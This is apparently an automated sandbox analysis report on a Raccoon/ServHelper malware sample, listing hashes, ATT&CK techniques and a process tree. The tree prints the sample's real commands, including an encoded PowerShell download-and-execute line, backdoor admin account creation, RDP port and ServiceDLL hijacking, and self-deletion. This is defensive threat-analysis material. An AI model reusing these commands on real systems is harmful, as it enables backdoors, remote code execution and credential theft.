raccoon | c5a3e3c23c820cc768a283e2a66515722048a51ece2387bcb8883a3b6a061b41

Analysis

max time kernel
127s
max time network
190s
platform
windows7_x64
resource
win7v20210408
submitted
02-06-2021 12:10

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General

Target

55ad53d9c2ac846647791d572f44ea5b.exe
Size

567KB
MD5

55ad53d9c2ac846647791d572f44ea5b
SHA1

f23c59ff61ff9bbf7c64dd9edfb6a254509bf917
SHA256

c5a3e3c23c820cc768a283e2a66515722048a51ece2387bcb8883a3b6a061b41
SHA512

d81fd6457c8cd411fc4e44053085aa1285203138909117ab6dafb3c74518ff9a91388e1450fc8e303774fd4ff7c27ab6cae87505bb9b0ca153c7f8bca5e85cd9

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	1072	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
436	GxoXVzTmne.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1072	icacls.exe
2032	icacls.exe
1828	takeown.exe
2028	icacls.exe
1924	icacls.exe
1220	icacls.exe
1428	icacls.exe
1460	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000130de-198.dat	upx
behavioral1/files/0x00060000000130df-199.dat	upx

Deletes itself 1 IoCs

pid	Process
1764	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
320	55ad53d9c2ac846647791d572f44ea5b.exe
1640	Process not Found
1640	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1460	icacls.exe
1072	icacls.exe
2032	icacls.exe
1828	takeown.exe
2028	icacls.exe
1924	icacls.exe
1220	icacls.exe
1428	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b36061a0-bb4f-4e44-b7c4-b40841f606f4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c979fa77-aa05-46bb-8dbf-eefd56e76916	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EI55LA2XPY47E74NR7R5.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f4eb4d75-284d-4473-bf5b-468dd4a74a30	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_95dfcb6a-a32a-4029-941d-acbb4525eff1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_45ad8ae0-de8d-4eec-9d4b-21598efd13cc	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_97d13a2b-49e7-4bae-985b-b78350be7ab3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4e6b625f-e065-4bbf-a901-56c748d40681	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0071b904-1fbc-41ab-aac2-ae4e5a09ed55	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3b16dbfd-a474-4e02-a800-3f021e3d47ba	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8614aebb-e068-4d42-b408-3b1101225fbd	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_921a59e8-e09f-47ab-9bad-03f2f2c18e9d	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1924	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a02f58c2b957d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1768	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	55ad53d9c2ac846647791d572f44ea5b.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	55ad53d9c2ac846647791d572f44ea5b.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1016	powershell.exe
1016	powershell.exe
1068	powershell.exe
1068	powershell.exe
1880	powershell.exe
1880	powershell.exe
1664	powershell.exe
1664	powershell.exe
1016	powershell.exe
1016	powershell.exe
1016	powershell.exe
1072	powershell.exe
1072	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
472	Process not Found
1640	Process not Found
1640	Process not Found
1640	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeRestorePrivilege	1924	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	596	WMIC.exe
Token: SeIncreaseQuotaPrivilege	596	WMIC.exe
Token: SeAuditPrivilege	596	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	596	WMIC.exe
Token: SeIncreaseQuotaPrivilege	596	WMIC.exe
Token: SeAuditPrivilege	596	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1332	WMIC.exe
Token: SeAuditPrivilege	1332	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1332	WMIC.exe
Token: SeAuditPrivilege	1332	WMIC.exe
Token: SeDebugPrivilege	1072	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 320 wrote to memory of 436	320	55ad53d9c2ac846647791d572f44ea5b.exe	30
PID 320 wrote to memory of 436	320	55ad53d9c2ac846647791d572f44ea5b.exe	30
PID 320 wrote to memory of 436	320	55ad53d9c2ac846647791d572f44ea5b.exe	30
PID 320 wrote to memory of 436	320	55ad53d9c2ac846647791d572f44ea5b.exe	30
PID 320 wrote to memory of 1764	320	55ad53d9c2ac846647791d572f44ea5b.exe	31
PID 320 wrote to memory of 1764	320	55ad53d9c2ac846647791d572f44ea5b.exe	31
PID 320 wrote to memory of 1764	320	55ad53d9c2ac846647791d572f44ea5b.exe	31
PID 320 wrote to memory of 1764	320	55ad53d9c2ac846647791d572f44ea5b.exe	31
PID 1764 wrote to memory of 1924	1764	cmd.exe	33
PID 1764 wrote to memory of 1924	1764	cmd.exe	33
PID 1764 wrote to memory of 1924	1764	cmd.exe	33
PID 1764 wrote to memory of 1924	1764	cmd.exe	33
PID 436 wrote to memory of 1016	436	GxoXVzTmne.exe	34
PID 436 wrote to memory of 1016	436	GxoXVzTmne.exe	34
PID 436 wrote to memory of 1016	436	GxoXVzTmne.exe	34
PID 1016 wrote to memory of 1704	1016	powershell.exe	36
PID 1016 wrote to memory of 1704	1016	powershell.exe	36
PID 1016 wrote to memory of 1704	1016	powershell.exe	36
PID 1704 wrote to memory of 1564	1704	csc.exe	37
PID 1704 wrote to memory of 1564	1704	csc.exe	37
PID 1704 wrote to memory of 1564	1704	csc.exe	37
PID 1016 wrote to memory of 1068	1016	powershell.exe	38
PID 1016 wrote to memory of 1068	1016	powershell.exe	38
PID 1016 wrote to memory of 1068	1016	powershell.exe	38
PID 1016 wrote to memory of 1880	1016	powershell.exe	40
PID 1016 wrote to memory of 1880	1016	powershell.exe	40
PID 1016 wrote to memory of 1880	1016	powershell.exe	40
PID 1016 wrote to memory of 1664	1016	powershell.exe	42
PID 1016 wrote to memory of 1664	1016	powershell.exe	42
PID 1016 wrote to memory of 1664	1016	powershell.exe	42
PID 1016 wrote to memory of 1828	1016	powershell.exe	45
PID 1016 wrote to memory of 1828	1016	powershell.exe	45
PID 1016 wrote to memory of 1828	1016	powershell.exe	45
PID 1016 wrote to memory of 2028	1016	powershell.exe	46
PID 1016 wrote to memory of 2028	1016	powershell.exe	46
PID 1016 wrote to memory of 2028	1016	powershell.exe	46
PID 1016 wrote to memory of 1924	1016	powershell.exe	47
PID 1016 wrote to memory of 1924	1016	powershell.exe	47
PID 1016 wrote to memory of 1924	1016	powershell.exe	47
PID 1016 wrote to memory of 1220	1016	powershell.exe	48
PID 1016 wrote to memory of 1220	1016	powershell.exe	48
PID 1016 wrote to memory of 1220	1016	powershell.exe	48
PID 1016 wrote to memory of 1428	1016	powershell.exe	49
PID 1016 wrote to memory of 1428	1016	powershell.exe	49
PID 1016 wrote to memory of 1428	1016	powershell.exe	49
PID 1016 wrote to memory of 1460	1016	powershell.exe	50
PID 1016 wrote to memory of 1460	1016	powershell.exe	50
PID 1016 wrote to memory of 1460	1016	powershell.exe	50
PID 1016 wrote to memory of 1072	1016	powershell.exe	51
PID 1016 wrote to memory of 1072	1016	powershell.exe	51
PID 1016 wrote to memory of 1072	1016	powershell.exe	51
PID 1016 wrote to memory of 2032	1016	powershell.exe	52
PID 1016 wrote to memory of 2032	1016	powershell.exe	52
PID 1016 wrote to memory of 2032	1016	powershell.exe	52
PID 1016 wrote to memory of 1524	1016	powershell.exe	53
PID 1016 wrote to memory of 1524	1016	powershell.exe	53
PID 1016 wrote to memory of 1524	1016	powershell.exe	53
PID 1016 wrote to memory of 1768	1016	powershell.exe	54
PID 1016 wrote to memory of 1768	1016	powershell.exe	54
PID 1016 wrote to memory of 1768	1016	powershell.exe	54
PID 1016 wrote to memory of 1620	1016	powershell.exe	55
PID 1016 wrote to memory of 1620	1016	powershell.exe	55
PID 1016 wrote to memory of 1620	1016	powershell.exe	55
PID 1016 wrote to memory of 412	1016	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe
"C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:320
- C:\Users\Admin\AppData\Local\Temp\GxoXVzTmne.exe
  "C:\Users\Admin\AppData\Local\Temp\GxoXVzTmne.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1016
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hwkf40rl\hwkf40rl.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1704
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE11.tmp" "c:\Users\Admin\AppData\Local\Temp\hwkf40rl\CSCA15009F8C7F643408BEB82A29550955A.TMP"
        5⤵
        
        PID:1564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1664
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1828
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2028
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1924
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1220
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1428
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1460
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1072
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2032
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1524
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1768
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1620
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:412
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:944
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1604
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1648
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:320
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1276
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1608
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1568
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1456
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:468
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1296
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1456
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1924

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1932
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1220

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc fKvIoMYD /add
1⤵
PID:1564
- C:\Windows\system32\net.exe
  net.exe user wgautilacc fKvIoMYD /add
  2⤵
  PID:1632
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc fKvIoMYD /add
    3⤵
    PID:1072

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1524
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1572

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:860
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1604

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1944
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1644
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1924

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc fKvIoMYD
1⤵
PID:1056
- C:\Windows\system32\net.exe
  net.exe user wgautilacc fKvIoMYD
  2⤵
  PID:984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc fKvIoMYD
    3⤵
    PID:1460

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1492
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:596

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:816
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1332

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1644
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1072

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1744
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/320-60-0x0000000000780000-0x0000000000811000-memory.dmp

Filesize
580KB

Download
memory/320-59-0x0000000075051000-0x0000000075053000-memory.dmp

Filesize
8KB

Download
memory/320-61-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/436-80-0x0000000041036000-0x0000000041037000-memory.dmp

Filesize
4KB

Download
memory/436-81-0x0000000041037000-0x0000000041038000-memory.dmp

Filesize
4KB

Download
memory/436-79-0x0000000041034000-0x0000000041036000-memory.dmp

Filesize
8KB

Download
memory/436-78-0x0000000041032000-0x0000000041034000-memory.dmp

Filesize
8KB

Download
